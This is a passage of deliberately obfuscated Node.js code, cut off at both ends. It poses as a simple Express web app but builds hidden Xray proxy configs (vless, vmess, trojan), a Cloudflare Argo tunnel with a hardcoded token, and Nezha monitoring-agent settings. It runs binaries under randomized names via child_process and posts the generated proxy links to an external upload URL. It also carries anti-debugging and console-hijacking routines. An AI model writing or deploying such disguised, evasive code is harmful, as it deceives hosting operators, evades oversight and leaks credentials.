_0x207e5c(_0x18efe3-0x84,_0xe1ccda,_0x11125e-0x1f,_0xe1ccda-0x5e);}if(_0x47bc17[_0x4356ac(-0x227,-0x89,-0xfb,-0x110)](_0x47bc17['ChFiG'],_0x47bc17['ChFiG']))return null;else{if(_0x30ea50){const _0x34587c=_0x30ea50[_0x5d7273(-0x58,-0x3e,0x60,0xe8)](_0x46a492,arguments);return _0x30ea50=null,_0x34587c;}}}:function(){};return _0x3689db=![],_0x1e0715;}else return null;};}()),_0x50520e=_0x1835b2(this,function(){function _0x5bfdb6(_0x39279f,_0x4ec595,_0x528b23,_0x86048a){return _0x1045(_0x4ec595- -0x2,_0x528b23);}const _0x3cf8fe={};function _0x2b726d(_0x3fa017,_0x50455d,_0x15ad14,_0x153568){return _0x1045(_0x3fa017- -0x311,_0x50455d);}_0x3cf8fe[_0x5bfdb6(0xe7,0x137,0x1f,0x21f)]='(((.+)+)+)'+'+$';const _0x2974dc=_0x3cf8fe;return _0x50520e[_0x2b726d(-0x1ba,-0xd4,-0x1aa,-0x304)]()[_0x2b726d(-0x1dd,-0xe3,-0x2a7,-0x8d)](_0x2974dc[_0x2b726d(-0x1d8,-0x18e,-0x21d,-0x1c1)])[_0x2b726d(-0x1ba,-0x1dc,-0xc6,-0x1e0)]()[_0x2b726d(-0x149,-0xbb,0x1,-0xbd)+'r'](_0x50520e)[_0x2b726d(-0x1dd,-0x195,-0x1c8,-0xc4)](_0x2974dc[_0x2b726d(-0x1d8,-0x31f,-0xe3,-0x310)]);});_0x50520e();const _0xf8555f=(function(){let _0x461bd2=!![];return function(_0x1e209a,_0x5f137d){const _0x39e4a6=_0x461bd2?function(){function _0x24dfc3(_0x36266b,_0x5e92cd,_0x4b92db,_0x3af7ef){return _0x1045(_0x5e92cd- -0xfc,_0x3af7ef);}if(_0x5f137d){const _0x40e0a1=_0x5f137d[_0x24dfc3(0x1a4,0x16d,0x28b,0x29)](_0x1e209a,arguments);return _0x5f137d=null,_0x40e0a1;}}:function(){};return _0x461bd2=![],_0x39e4a6;};}()),_0x131c5a=_0xf8555f(this,function(){const _0x39764d={'pQJJT':_0x18ea84(-0x1c,-0x57,0x3f,0x103)+'n','gHdxz':function(_0xfcb0f2,_0x5e84a6){return _0xfcb0f2!==_0x5e84a6;},'ywzYn':_0x18ea84(0x2b6,0x350,0x234,0x1aa),'aIbBY':function(_0x56dd26,_0xfe4fcf){return _0x56dd26+_0xfe4fcf;},'rNvnl':_0x18ea84(0x24d,0x109,0x10e,-0x15)+'ctor(\x22retu'+_0x18ea84(0x15c,0x1d5,0x11b,0x82)+'\x20)','NVozT':_0xfdd5d5(0x20f,0x164,0x250,0x39e),'DnVnB':function(_0x57b989){return _0x57b989();},'oFwnb':_0x18ea84(0x18e,0x13c,0xf3,-0x5b),'rpYpy':'info','THHyh':_0x18ea84(0x1a8,0x3b6,0x295,0x35b),'FosHA':'exception','YWsqd':_0x18ea84(0x206,0xfe,0x10a,0xec),'mJTGe':_0x18ea84(0x114,0x46,0xa7,0x17d),'WbuVQ':function(_0x4406f0,_0x44365a){return _0x4406f0<_0x44365a;}},_0x272cea=function(){const _0x1adeb0={};_0x1adeb0[_0x257bc5(0x700,0x5de,0x732,0x64f)]=_0x39764d[_0x257bc5(0x4ea,0x550,0x5fc,0x546)];const _0x20a757=_0x1adeb0;function _0x257bc5(_0x26361b,_0x30588f,_0x27ecf2,_0x2d1a76){return _0x18ea84(_0x30588f,_0x30588f-0x17c,_0x2d1a76-0x3b9,_0x2d1a76-0x10c);}function _0x285fd6(_0x20e467,_0xf6cd1b,_0x4163b2,_0xf9c3f7){return _0x18ea84(_0xf6cd1b,_0xf6cd1b-0x19,_0x20e467-0x196,_0xf9c3f7-0xf);}if(_0x39764d['gHdxz'](_0x285fd6(0x3ca,0x31b,0x430,0x4c8),_0x39764d[_0x285fd6(0x2db,0x394,0x257,0x428)])){_0x3de4f9[_0x285fd6(0x1de,0xeb,0x25a,0x26f)+_0x285fd6(0x266,0x1db,0x21b,0x1dc)](_0x3d6b0d[_0x257bc5(0x5d6,0x4fa,0x723,0x5ec)](_0x459870,_0x20a757[_0x285fd6(0x42c,0x374,0x54e,0x4c9)]),_0x2f1555);const _0x4b7123='\x0a\x20\x20tunnel:'+'\x20'+_0x10623e[_0x257bc5(0x520,0x466,0x3e3,0x43c)]('\x22')[0x2579+0x39a*0x8+0x7a*-0x8b]+('\x0a\x20\x20credent'+_0x257bc5(0x67f,0x777,0x546,0x649)+'\x20')+_0x3ee82a[_0x285fd6(0x3c9,0x406,0x3cb,0x3e0)](_0x2e84fe,_0x257bc5(0x429,0x337,0x42b,0x3f8)+'n')+(_0x257bc5(0x583,0x65c,0x664,0x5da)+_0x285fd6(0x33a,0x41f,0x3eb,0x262)+_0x285fd6(0x341,0x380,0x219,0x292)+'s:\x0a\x20\x20\x20\x20-\x20h'+_0x257bc5(0x6ae,0x5bd,0x728,0x679))+_0x411423+(_0x257bc5(0x626,0x477,0x5b4,0x58d)+_0x285fd6(0x300,0x271,0x3af,0x425)+_0x257bc5(0x4f7,0x71a,0x5aa,0x5fd)+_0x285fd6(0x274,0x199,0x33a,0x3b0))+_0x39a7db+(_0x257bc5(0x555,0x645,0x576,0x616)+'ginRequest'+_0x285fd6(0x33b,0x35b,0x290,0x225)+_0x285fd6(0x25e,0x16c,0x1a4,0x18e)+_0x257bc5(0x4d0,0x6d7,0x70e,0x5fa)+_0x285fd6(0x2f8,0x3f3,0x1ce,0x43b)+_0x285fd6(0x2ad,0x25e,0x199,0x328)+_0x285fd6(0x391,0x272,0x2c8,0x34d)+'\x20');_0x38425e[_0x257bc5(0x2fc,0x312,0x2c4,0x401)+_0x257bc5(0x3f7,0x368,0x349,0x489)](_0x5e7d0a[_0x257bc5(0x5da,0x4a5,0x580,0x5ec)](_0x172043,'tunnel.yml'),_0x4b7123);}else{let _0x4b633d;try{_0x4b633d=Function(_0x39764d[_0x257bc5(0x5f6,0x58e,0x611,0x66f)]('return\x20(fu'+_0x285fd6(0x21d,0x261,0x304,0x1a1),_0x39764d[_0x285fd6(0x204,0x2f8,0xe6,0x338)])+');')();}catch(_0x106a3d){_0x39764d[_0x257bc5(0x3d5,0x51a,0x5bc,0x512)](_0x39764d[_0x285fd6(0x362,0x2b2,0x472,0x468)],_0x257bc5(0x6ff,0x6b1,0x72f,0x623))?_0x4b633d=window:_0x3c6c62[_0x285fd6(0x42b,0x381,0x453,0x331)](_0x285fd6(0x355,0x227,0x205,0x448)+_0x257bc5(0x43b,0x4e0,0x54f,0x422)+'and:\x20'+_0x223543);}return _0x4b633d;}},_0x263f02=_0x39764d[_0x18ea84(0x9f,0x1ef,0x178,0x1ba)](_0x272cea),_0x54e9ff=_0x263f02[_0xfdd5d5(0xeb,0x124,0x1c9,0x2ab)]=_0x263f02[_0x18ea84(0x318,0x159,0x1e1,0x1d0)]||{};function _0x18ea84(_0xc2f362,_0x577da8,_0x4d2eba,_0x397601){return _0x1045(_0x4d2eba- -0xa1,_0xc2f362);}const _0x38e454=[_0xfdd5d5(0xf,-0xb7,0x21,-0x129),_0x39764d['oFwnb'],_0x39764d[_0xfdd5d5(0x16b,0x1c5,0x172,0x161)],_0x39764d[_0x18ea84(0x13c,0x51,0x198,0xf3)],_0x39764d[_0x18ea84(0x13f,0x9a,0x14a,0x296)],_0x39764d['YWsqd'],_0x39764d[_0xfdd5d5(-0x4a,-0xcc,0x62,-0x15)]];function _0xfdd5d5(_0x596538,_0x566ee8,_0xf6852,_0x2d4639){return _0x1045(_0xf6852- -0xb9,_0x2d4639);}for(let _0x3894ec=0x4f*0x41+0x1*0x128d+0x584*-0x7;_0x39764d[_0x18ea84(0x16,0x170,0x58,-0x51)](_0x3894ec,_0x38e454['length']);_0x3894ec++){const _0x4a20c8=_0xf8555f['constructo'+'r'][_0x18ea84(0x236,0x193,0x125,0x167)][_0xfdd5d5(0x20b,0x309,0x2ab,0x332)](_0xf8555f),_0x413ef8=_0x38e454[_0x3894ec],_0x3cf77d=_0x54e9ff[_0x413ef8]||_0x4a20c8;_0x4a20c8[_0xfdd5d5(0x350,0x14b,0x224,0x284)]=_0xf8555f[_0xfdd5d5(0x3b1,0x349,0x2ab,0x18d)](_0xf8555f),_0x4a20c8[_0x18ea84(-0x41,0x145,0xb6,0x17f)]=_0x3cf77d[_0x18ea84(-0x76,0x177,0xb6,0x8b)][_0xfdd5d5(0x1c2,0x163,0x2ab,0x290)](_0x3cf77d),_0x54e9ff[_0x413ef8]=_0x4a20c8;}});_0x131c5a();const express=require('express'),app=express(),axios=require(_0x1f8df2(0x710,0x678,0x6c2,0x5a0)),os=require('os'),fs=require('fs'),path=require('path'),{promisify}=require(_0x1f8df2(0x6c4,0x6f6,0x7da,0x5e7)),exec=promisify(require(_0x3fefcd(0x97,0x11a,0xfb,0x11c)+'ess')[_0x3fefcd(0x1bd,0x225,0x1c3,0x2ca)]),{execSync}=require('child_proc'+'ess'),UPLOAD_URL=process[_0x3fefcd(0x132,0x1b5,0x293,0xc5)][_0x1f8df2(0x586,0x5ff,0x67a,0x6ac)]||'',PROJECT_URL=process[_0x1f8df2(0x5f8,0x646,0x5be,0x789)][_0x3fefcd(0xe9,0x147,0x66,0x91)+'L']||'',AUTO_ACCESS=process[_0x1f8df2(0x6be,0x646,0x766,0x778)]['AUTO_ACCES'+'S']||![],FILE_PATH=process[_0x3fefcd(0x20f,0x1b5,0x223,0xc7)][_0x1f8df2(0x510,0x5bf,0x64b,0x627)]||_0x1f8df2(0x462,0x4ea,0x48a,0x56c),SUB_PATH=process[_0x3fefcd(0x1d8,0x1b5,0x2e0,0x2a3)][_0x3fefcd(0x292,0x201,0x12c,0x323)]||_0x1f8df2(0x4f7,0x4ef,0x5a1,0x47e),PORT=process[_0x3fefcd(0xb6,0x1b5,0x21d,0x162)]['SERVER_POR'+'T']||process[_0x3fefcd(0x1ce,0x1b5,0x22f,0x1fc)][_0x3fefcd(0x14,0x76,0xd8,0x32)]||-0x6be+-0xe99*-0x1+-0x17*-0x2b,UUID=process['env'][_0x3fefcd(0x214,0x189,0x251,0x242)]||_0x3fefcd(0x9e,0x14d,0xe3,0x114)+'c7b-454b-8'+_0x1f8df2(0x5e9,0x506,0x3bd,0x436)+_0x3fefcd(-0x35,0x112,0x24e,0x1a0),NEZHA_SERVER=process[_0x3fefcd(0x17c,0x1b5,0x8e,0x27d)][_0x1f8df2(0x780,0x70b,0x800,0x663)+'ER']||'';function _0x3fefcd(_0x30187f,_0x272a8b,_0x5abeb7,_0x3e35d4){return _0x1045(_0x272a8b- -0xba,_0x5abeb7);}const NEZHA_PORT=process[_0x3fefcd(0xd9,0x1b5,0x91,0x218)]['NEZHA_PORT']||'',NEZHA_KEY=process[_0x1f8df2(0x6bb,0x646,0x69a,0x55b)]['NEZHA_KEY']||'',ARGO_DOMAIN=process['env'][_0x3fefcd(0x275,0x1d7,0x276,0x31b)+'N']||_0x1f8df2(0x5a2,0x4ae,0x541,0x367)+'0.4.2.0.0.'+_0x1f8df2(0x606,0x689,0x6c3,0x6bc)+_0x3fefcd(0x151,0x194,0x2cf,0x2a2)+_0x1f8df2(0x3ee,0x516,0x4e3,0x598),ARGO_AUTH=process[_0x3fefcd(0x277,0x1b5,0x276,0x143)][_0x1f8df2(0x6e6,0x666,0x6ad,0x610)]||_0x3fefcd(-0xe,0x124,0x15,0xf7)+_0x3fefcd(0x180,0x22e,0x2b5,0x114)+'YzMzMDgzMj'+_0x1f8df2(0x5c9,0x5a7,0x68a,0x5e6)+'ODkwM2UwNG'+_0x1f8df2(0x5fa,0x63f,0x640,0x6f9)+_0x1f8df2(0x6da,0x59e,0x56e,0x46a)+_0x1f8df2(0x65e,0x5e0,0x660,0x538)+'MjI2LTlhMT'+_0x3fefcd(-0xa5,0xa0,-0xb,0x10a)+_0x3fefcd(0x231,0x103,0x6c,0x29)+_0x1f8df2(0x4de,0x5c1,0x5f4,0x502)+_0x3fefcd(0x2d1,0x1b7,0x68,0x1d6)+'dNdE1EVXlO'+_0x3fefcd(0x123,0x1be,0x1dd,0xe5)+_0x3fefcd(0x182,0x164,0x21d,0x2f)+'TnprM01ETT'+_0x3fefcd(0x115,0x1ed,0x2bc,0xad)+_0x3fefcd(0x6d,0x199,0x155,0x184),ARGO_PORT=process[_0x1f8df2(0x625,0x646,0x6c0,0x6e4)][_0x1f8df2(0x59e,0x537,0x5b5,0x408)]||0x570+0x883*-0x3+0x336e,CFIP=process[_0x1f8df2(0x728,0x646,0x6d4,0x5ec)][_0x3fefcd(0x1dd,0xd2,0x8f,0x1df)]||_0x3fefcd(0x3dd,0x2b1,0x379,0x211)+'eu.org',CFPORT=process[_0x1f8df2(0x5b2,0x646,0x5a4,0x5c3)]['CFPORT']||-0x13b5+0x1*-0x25db+0x3b4b,NAME=process[_0x1f8df2(0x740,0x646,0x6e1,0x539)][_0x1f8df2(0x680,0x5f8,0x671,0x64f)]||_0x3fefcd(0x226,0x184,0x2d8,0xbe)+'urity';!fs['existsSync'](FILE_PATH)?(fs['mkdirSync'](FILE_PATH),console[_0x3fefcd(0x1e,0x20,0x51,0x66)](FILE_PATH+('\x20is\x20create'+'d'))):console[_0x1f8df2(0x4a6,0x4b1,0x538,0x40d)](FILE_PATH+(_0x1f8df2(0x4fe,0x4fa,0x5fa,0x3f2)+_0x1f8df2(0x762,0x6e1,0x6be,0x763)));function generateRandomName(){const _0x4523cf={};function _0x1df3d3(_0x3a07fe,_0xc8a5d7,_0x189c07,_0x508c44){return _0x3fefcd(_0x3a07fe-0x7b,_0x189c07- -0x320,_0x3a07fe,_0x508c44-0x100);}_0x4523cf[_0x3402fd(0x717,0x60d,0x63a,0x5e7)]=function(_0x2d5641,_0x1a14bb){return _0x2d5641<_0x1a14bb;},_0x4523cf[_0x1df3d3(-0x331,-0x2eb,-0x278,-0x265)]=function(_0xa4cdbf,_0x227702){return _0xa4cdbf*_0x227702;};const _0x189008=_0x4523cf,_0x2324f5=_0x1df3d3(-0x1fe,-0x118,-0x164,-0x83)+_0x3402fd(0x545,0x5e1,0x557,0x631)+_0x3402fd(0x604,0x4c3,0x5c8,0x6a4);let _0x340af2='';for(let _0x471c5e=-0x1d1d+0x8f2+0x142b;_0x189008[_0x1df3d3(-0xb,0x59,-0xc0,-0x88)](_0x471c5e,-0x2e3*0x1+0x3f4+0x59*-0x3);_0x471c5e++){_0x340af2+=_0x2324f5[_0x3402fd(0x2b9,0x4e0,0x406,0x362)](Math['floor'](_0x189008[_0x3402fd(0x544,0x5b0,0x482,0x546)](Math[_0x1df3d3(-0x8e,-0x133,-0xf6,-0xf4)](),_0x2324f5[_0x3402fd(0x445,0x433,0x40f,0x49a)])));}function _0x3402fd(_0xbf9049,_0x40dfd7,_0x2f968c,_0x5128ca){return _0x3fefcd(_0xbf9049-0xbb,_0x2f968c-0x3da,_0xbf9049,_0x5128ca-0x194);}return _0x340af2;}const npmName=generateRandomName(),webName=generateRandomName(),botName=generateRandomName();function _0x1f8df2(_0x8f18f6,_0x1a465f,_0x1ca146,_0x50eaa2){return _0x1045(_0x1a465f-0x3d7,_0x1ca146);}const phpName=generateRandomName();let npmPath=path['join'](FILE_PATH,npmName),phpPath=path['join'](FILE_PATH,phpName),webPath=path[_0x3fefcd(0x34a,0x21a,0x158,0x2ef)](FILE_PATH,webName),botPath=path['join'](FILE_PATH,botName),subPath=path['join'](FILE_PATH,_0x3fefcd(0x23d,0x1e6,0x11a,0x32d)),listPath=path['join'](FILE_PATH,_0x1f8df2(0x5c3,0x575,0x6ae,0x647)),bootLogPath=path[_0x1f8df2(0x697,0x6ab,0x6bf,0x64c)](FILE_PATH,_0x1f8df2(0x4ff,0x589,0x52d,0x4f2)),configPath=path[_0x3fefcd(0x111,0x21a,0xf3,0x367)](FILE_PATH,_0x1f8df2(0x6c1,0x66a,0x582,0x5d1)+'n');function deleteNodes(){const _0xd9f0c4={};_0xd9f0c4[_0x4ef690(-0x230,-0xac,-0x114,-0xdc)]=_0x495255(0x473,0x52a,0x3bc,0x5b2);function _0x4ef690(_0x2a9817,_0xac18dc,_0xf683aa,_0x1d9189){return _0x1f8df2(_0x2a9817-0x134,_0xf683aa- -0x643,_0x1d9189,_0x1d9189-0x136);}_0xd9f0c4[_0x495255(0x555,0x475,0x5d3,0x4a1)]='base64';function _0x495255(_0x5e84ad,_0x3c21a4,_0x3ebb04,_0xf3b431){return _0x3fefcd(_0x5e84ad-0xe8,_0x5e84ad-0x352,_0x3ebb04,_0xf3b431-0xa3);}_0xd9f0c4[_0x4ef690(0xa0,-0xbf,-0x6c,-0x18)]=function(_0x2f18cf,_0xfc3ef4){return _0x2f18cf===_0xfc3ef4;},_0xd9f0c4[_0x495255(0x397,0x39b,0x48c,0x254)]=_0x495255(0x51f,0x5ac,0x592,0x4c5)+'n/json';const _0x24d378=_0xd9f0c4;try{if(!UPLOAD_URL)return;if(!fs[_0x4ef690(-0x1bb,-0x10e,-0x78,0xb6)](subPath))return;let _0x20eeca;try{_0x20eeca=fs[_0x4ef690(-0x163,-0x8a,-0x17f,-0x2c1)+'nc'](subPath,_0x24d378[_0x495255(0x3f0,0x50e,0x38c,0x364)]);}catch{return null;}const _0x3049a6=Buffer[_0x4ef690(-0x1c4,0x51,-0xf5,-0x107)](_0x20eeca,_0x24d378['XGZPe'])[_0x495255(0x3ef,0x29f,0x3fc,0x470)](_0x4ef690(-0x1e2,-0xad,-0x91,-0x132)),_0x299448=_0x3049a6[_0x495255(0x3bc,0x399,0x2ce,0x4b9)]('\x0a')[_0x495255(0x4e1,0x51d,0x393,0x41d)](_0x846e0e=>/(vless|vmess|trojan|hysteria2|tuic):\/\//[_0x495255(0x3bd,0x33a,0x4ce,0x29a)](_0x846e0e));if(_0x24d378['qpnkr'](_0x299448[_0x4ef690(-0x2b2,-0x2be,-0x17d,-0x1b3)],0xa9a+-0x6a0+-0x1fd*0x2))return;const _0x42df5d={};_0x42df5d[_0x4ef690(-0x15e,-0xbf,-0x161,-0x29f)]=_0x299448;const _0x33875f={};_0x33875f[_0x4ef690(-0x122,-0x4e,-0xe6,-0xe1)+'pe']=_0x24d378['BVvcv'];const _0x4546e5={};return _0x4546e5[_0x495255(0x5dd,0x565,0x4fa,0x697)]=_0x33875f,axios['post'](UPLOAD_URL+(_0x495255(0x4cc,0x503,0x4a3,0x379)+_0x4ef690(0x138,0x99,0xc6,0x183)),JSON['stringify'](_0x42df5d),_0x4546e5)['catch'](_0x4e8587=>{return null;}),null;}catch(_0xce6034){return null;}}function cleanupOldFiles(){const _0x5a0266={};_0x5a0266['PJfvU']=_0x22166a(0x2f,0x115,0x3c,0x1ad),_0x5a0266[_0x22166a(0x303,0x1b6,0xf7,0x287)]=_0x37c65c(0x12c,0x29f,0x2da,0x260);function _0x37c65c(_0x54b614,_0x3f1d89,_0x397df2,_0x469a92){return _0x3fefcd(_0x54b614-0x160,_0x469a92-0x225,_0x397df2,_0x469a92-0x10b);}_0x5a0266['YRMUI']=function(_0x3218bc,_0x57ea77){return _0x3218bc!==_0x57ea77;},_0x5a0266['micjQ']=_0x22166a(0x93,0x33,-0x73,0x16a);function _0x22166a(_0x34bb8f,_0x186812,_0xab8f1d,_0x26fc53){return _0x1f8df2(_0x34bb8f-0x80,_0x186812- -0x54e,_0x26fc53,_0x26fc53-0x12d);}const _0x51015f=_0x5a0266;try{if(_0x51015f[_0x22166a(0x1ed,0x141,0x14,0x28f)](_0x51015f[_0x37c65c(0x35f,0x520,0x59c,0x467)],_0x51015f[_0x22166a(0x9d,0x185,0x176,0x1ca)]))return _0x51015f[_0x22166a(-0xef,0x4b,-0xb2,0x171)];else{const _0x275a15=fs[_0x22166a(-0x13a,-0x2b,0xb3,0x54)+'c'](FILE_PATH);_0x275a15[_0x37c65c(0x47f,0x3a7,0x542,0x46a)](_0x57bc51=>{function _0x19c3e6(_0x137cd7,_0x38f352,_0x341b07,_0x58f9bd){return _0x37c65c(_0x137cd7-0x32,_0x38f352-0xb9,_0x137cd7,_0x38f352- -0xc2);}function _0x7e94b8(_0x1ad98e,_0x5f93ea,_0x28e8fa,_0x4ccc60){return _0x22166a(_0x1ad98e-0x133,_0x4ccc60-0x1e0,_0x28e8fa-0xc9,_0x5f93ea);}const _0xd1a84f=path[_0x19c3e6(0x2e6,0x37d,0x252,0x496)](FILE_PATH,_0x57bc51);try{const _0x46e5d0=fs['statSync'](_0xd1a84f);_0x46e5d0[_0x19c3e6(0x244,0x178,0x208,0x1cc)]()&&(_0x51015f[_0x7e94b8(0x4c6,0x2ca,0x2ac,0x396)]!==_0x51015f[_0x7e94b8(0x4b1,0x410,0x411,0x396)]?_0x50ca0d[_0x7e94b8(0x3e8,0x27a,0x2d6,0x39f)]('Empowermen'+_0x7e94b8(0x28c,0x115,0x2cc,0x1d9)+_0x19c3e6(0x373,0x34f,0x2a8,0x244)+_0x54fcfe+':\x20'+_0x32f18b):fs[_0x7e94b8(0x3c1,0x310,0x36c,0x33c)](_0xd1a84f));}catch(_0x1c1a24){}});}}catch(_0x4b9700){}}app['get']('/',function(_0x20dd41,_0x2bceed){const _0x4b224f={};_0x4b224f[_0x2963c0(0x43a,0x3ef,0x35a,0x27a)]=_0x2963c0(0x278,0x1d0,0x2b5,0x3bd)+'d!';function _0x2963c0(_0x523ec8,_0xa747a8,_0xd2e0ed,_0x547a05){return _0x1f8df2(_0x523ec8-0x105,_0xd2e0ed- -0x313,_0x523ec8,_0x547a05-0x1e9);}function _0x2f6ab0(_0x7ac007,_0xc96384,_0x56e178,_0x1328cc){return _0x3fefcd(_0x7ac007-0x1e8,_0x7ac007-0x29d,_0x56e178,_0x1328cc-0x113);}const _0x435aad=_0x4b224f;_0x2bceed[_0x2f6ab0(0x45d,0x3b1,0x501,0x32a)](_0x435aad['DIIiB']);});async function generateConfig(){const _0x5a7809={};_0x5a7809[_0x1e06a4(-0x28e,-0x1d1,-0x23b,-0x367)]=_0x44fae6(0x313,0x29d,0x370,0x427),_0x5a7809['OrDAj']=_0x44fae6(0x168,0x22f,0xd9,0x2a7),_0x5a7809['ACIrd']=_0x1e06a4(-0x7f,0xc7,0x93,-0x51)+'vision',_0x5a7809[_0x44fae6(0x225,0x1bb,0x10f,0xef)]=_0x44fae6(0x170,0x111,0x81,0x6e)+'o',_0x5a7809['EItvn']='/trojan-ar'+'go',_0x5a7809[_0x1e06a4(-0xeb,-0x7a,0x2f,-0x11f)]=_0x1e06a4(-0x64,-0xbf,-0x131,-0x93),_0x5a7809[_0x1e06a4(-0x80,0x37,-0x111,0xcf)]='127.0.0.1',_0x5a7809[_0x44fae6(0x36e,0x2aa,0x29f,0x234)]='/vless-arg'+'o',_0x5a7809[_0x1e06a4(-0x2b6,-0x1f2,-0x32f,-0x3cc)]=_0x44fae6(0x2d8,0x42b,0x2da,0x354),_0x5a7809[_0x44fae6(0x166,0x1fe,0xc6,0xa9)]=_0x44fae6(0x287,0x20d,0x1e3,0x1fb),_0x5a7809['IMSlh']=_0x1e06a4(-0x8c,-0x13,-0x5b,-0xb8),_0x5a7809[_0x1e06a4(-0x275,-0x2df,-0x327,-0x16b)]=_0x44fae6(0x203,0x214,0x211,0x33b),_0x5a7809[_0x44fae6(0x2c6,0x35c,0x335,0x3fe)]=_0x1e06a4(-0xd5,-0x124,0x54,-0xbf),_0x5a7809[_0x1e06a4(-0x7d,-0x5e,-0x179,-0x28)]=_0x44fae6(0x13e,0x1ce,0x44,0x265),_0x5a7809['skyrc']='block',_0x5a7809[_0x1e06a4(-0x1fb,-0x127,-0x2ae,-0x20c)]=_0x1e06a4(-0x101,-0x159,-0x215,-0xb1)+'n';const _0x234145=_0x5a7809,_0x333869={};_0x333869[_0x44fae6(0x375,0x4ab,0x350,0x34a)]=_0x44fae6(0x2e8,0x32a,0x240,0x3a2),_0x333869[_0x1e06a4(-0x5e,-0x98,0x9d,-0xfe)]=_0x44fae6(0x2e8,0x28a,0x365,0x273),_0x333869['loglevel']=_0x234145[_0x1e06a4(-0x28e,-0x2d1,-0x27a,-0x237)];const _0x9ab76c={};_0x9ab76c[_0x44fae6(0x28f,0x2a5,0x1c7,0x1fc)]=0xbb9;const _0x384b08={};_0x384b08[_0x1e06a4(-0x4d,-0x19d,0x7d,0x66)]=_0x1e06a4(-0xfc,-0x180,0x26,-0xf8)+'o',_0x384b08[_0x1e06a4(-0x126,-0x5b,-0x16e,-0x1d)]=0xbba;const _0x52d620={};_0x52d620[_0x44fae6(0x133,-0xc,0x214,0x277)]=ARGO_PORT,_0x52d620[_0x44fae6(0x201,0x1e2,0x277,0x31a)]=_0x234145['OrDAj'],_0x52d620[_0x1e06a4(-0xc4,-0x183,-0x127,-0x1ed)]={},_0x52d620[_0x44fae6(0x25c,0x236,0x1e1,0x25e)+_0x44fae6(0x30e,0x37a,0x22c,0x32c)]={},_0x52d620[_0x1e06a4(-0xc4,-0x183,-0x127,-0x1ed)][_0x1e06a4(-0x1e1,-0x1f1,-0xf7,-0xca)]=[{'id':UUID,'flow':_0x234145['ACIrd']}],_0x52d620[_0x1e06a4(-0xc4,-0x183,-0x127,-0x1ed)][_0x44fae6(0xfc,0x12f,0x239,0x116)]=_0x1e06a4(-0xa2,-0x73,-0x3d,-0xe0),_0x52d620[_0x1e06a4(-0xc4,-0x183,-0x127,-0x1ed)]['fallbacks']=[_0x9ab76c,_0x384b08,{'path':_0x234145[_0x1e06a4(-0x190,-0xc4,-0x2b6,-0x6d)],'dest':0xbbb},{'path':_0x234145[_0x44fae6(0x254,0x264,0x108,0x2f1)],'dest':0xbbc}],_0x52d620[_0x44fae6(0x25c,0x236,0x1e1,0x25e)+_0x44fae6(0x30e,0x37a,0x22c,0x32c)][_0x44fae6(0x138,0x20f,0x203,0x15a)]=_0x234145[_0x1e06a4(-0xeb,-0xa2,-0xe9,-0x198)];const _0x45d40f={};_0x45d40f['id']=UUID;const _0x28f4db={};_0x28f4db[_0x44fae6(0x1d4,0x2c2,0x1e5,0xf7)]=[_0x45d40f],_0x28f4db[_0x1e06a4(-0x2b9,-0x39b,-0x16b,-0x241)]=_0x1e06a4(-0xa2,0x82,-0xd5,-0xb3);const _0x2ce1a3={};_0x2ce1a3['port']=0xbb9,_0x2ce1a3[_0x44fae6(0x1e0,0x183,0xcb,0x120)]=_0x234145[_0x44fae6(0x335,0x2dd,0x434,0x3b9)],_0x2ce1a3[_0x44fae6(0x201,0x1ba,0x140,0x23f)]=_0x234145['OrDAj'],_0x2ce1a3[_0x44fae6(0x2f1,0x279,0x342,0x2d4)]=_0x28f4db,_0x2ce1a3[_0x1e06a4(-0x159,-0x1c,-0x17a,-0xd8)+_0x44fae6(0x30e,0x422,0x1e0,0x3e9)]={},_0x2ce1a3[_0x1e06a4(-0x159,-0x1c,-0x17a,-0xd8)+_0x44fae6(0x30e,0x422,0x1e0,0x3e9)]['network']=_0x234145[_0x1e06a4(-0xeb,-0x7,-0x15c,-0x1a4)],_0x2ce1a3[_0x1e06a4(-0x159,-0x1c,-0x17a,-0xd8)+_0x44fae6(0x30e,0x422,0x1e0,0x3e9)]['security']=_0x234145['azEMK'];const _0x286f9b={};_0x286f9b['id']=UUID,_0x286f9b[_0x44fae6(0x1af,0x1ed,0x18e,0x15f)]=0x0;const _0x1db618={};_0x1db618[_0x44fae6(0x133,0xe7,0xfc,0x3)]=0xbba,_0x1db618[_0x1e06a4(-0x1d5,-0x153,-0x1dc,-0x213)]=_0x234145[_0x1e06a4(-0x80,-0x16b,-0x6f,-0xb)],_0x1db618[_0x44fae6(0x201,0x191,0x214,0x2de)]=_0x1e06a4(-0x24d,-0x253,-0x1f7,-0x1ba);function _0x44fae6(_0x10da7b,_0x50ef9b,_0x4d50fb,_0x2ff15d){return _0x3fefcd(_0x10da7b-0xe9,_0x10da7b-0xdb,_0x4d50fb,_0x2ff15d-0x6f);}function _0x1e06a4(_0x3d5c36,_0x44abd4,_0x2010b6,_0x4555ac){return _0x1f8df2(_0x3d5c36-0xbf,_0x3d5c36- -0x76b,_0x44abd4,_0x4555ac-0x120);}_0x1db618[_0x1e06a4(-0xc4,-0x142,-0x20a,0x88)]={},_0x1db618[_0x44fae6(0x25c,0x17e,0x276,0x13d)+_0x1e06a4(-0xa7,-0x107,-0x84,-0x13f)]={},_0x1db618[_0x44fae6(0x34d,0x40e,0x452,0x25a)]={},_0x1db618[_0x1e06a4(-0xc4,-0x142,-0x20a,0x88)][_0x44fae6(0x1d4,0x132,0x98,0x2e3)]=[_0x286f9b],_0x1db618[_0x1e06a4(-0xc4,-0x142,-0x20a,0x88)]['decryption']=_0x234145['azEMK'],_0x1db618[_0x44fae6(0x25c,0x17e,0x276,0x13d)+_0x1e06a4(-0xa7,-0x107,-0x84,-0x13f)][_0x1e06a4(-0x27d,-0x388,-0x3a5,-0x2e0)]='ws',_0x1db618[_0x44fae6(0x25c,0x17e,0x276,0x13d)+_0x1e06a4(-0xa7,-0x107,-0x84,-0x13f)][_0x44fae6(0x1b2,0x2bd,0x28f,0x24a)]=_0x234145[_0x44fae6(0x127,0x8,-0x12,0x74)],_0x1db618[_0x44fae6(0x25c,0x17e,0x276,0x13d)+_0x1e06a4(-0xa7,-0x107,-0x84,-0x13f)][_0x1e06a4(-0x13e,-0x117,-0xd,0x7)]={},_0x1db618[_0x44fae6(0x25c,0x17e,0x276,0x13d)+_0x1e06a4(-0xa7,-0x107,-0x84,-0x13f)][_0x1e06a4(-0x13e,-0x117,-0xd,0x7)][_0x1e06a4(-0x4d,0xc8,-0x1b,-0x3a)]=_0x234145[_0x44fae6(0x36e,0x471,0x32b,0x40f)],_0x1db618[_0x44fae6(0x34d,0x40e,0x452,0x25a)][_0x44fae6(0x197,0xd5,0x179,0x24a)]=!![],_0x1db618[_